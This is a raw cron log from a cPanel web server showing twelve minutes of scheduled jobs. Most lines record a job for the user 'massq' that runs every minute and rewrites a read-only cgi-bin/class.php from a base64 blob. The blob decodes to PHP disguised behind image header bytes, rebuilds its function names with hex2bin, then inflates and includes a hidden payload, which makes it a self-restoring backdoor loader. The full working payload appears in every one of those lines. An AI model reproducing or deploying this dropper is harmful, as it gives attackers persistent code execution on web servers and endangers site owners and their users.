Sep  5 07:12:01 server CROND[1675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:12:01 server CROND[1674]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:12:01 server CROND[1676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:12:01 server CROND[1677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:13:01 server CROND[2098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:13:01 server CROND[2100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:13:01 server CROND[2101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:14:01 server CROND[2490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:14:01 server CROND[2492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:14:01 server CROND[2491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:15:01 server CROND[2923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:15:01 server CROND[2926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:15:01 server CROND[2925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:15:01 server CROND[2927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:15:01 server CROND[2928]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 07:15:01 server CROND[2929]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:15:01 server CROND[2930]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:15:01 server CROND[2931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:16:01 server CROND[3862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:16:01 server CROND[3863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:16:01 server CROND[3864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:17:01 server CROND[4377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:17:01 server CROND[4381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:17:01 server CROND[4379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:18:01 server CROND[4796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:18:01 server CROND[4795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:18:01 server CROND[4797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:19:01 server CROND[5182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:19:01 server CROND[5183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:19:01 server CROND[5184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:20:01 server CROND[5573]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:20:01 server CROND[5575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:20:01 server CROND[5577]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:20:01 server CROND[5580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:20:01 server CROND[5581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:20:01 server CROND[5582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:20:01 server CROND[5585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:20:01 server CROND[5587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:20:01 server CROND[5584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:21:01 server CROND[6411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:21:01 server CROND[6410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:21:01 server CROND[6414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:22:01 server CROND[6912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:22:01 server CROND[6914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:22:01 server CROND[6915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:23:01 server CROND[7356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:23:01 server CROND[7357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:23:01 server CROND[7358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:24:01 server CROND[7736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:24:01 server CROND[7737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
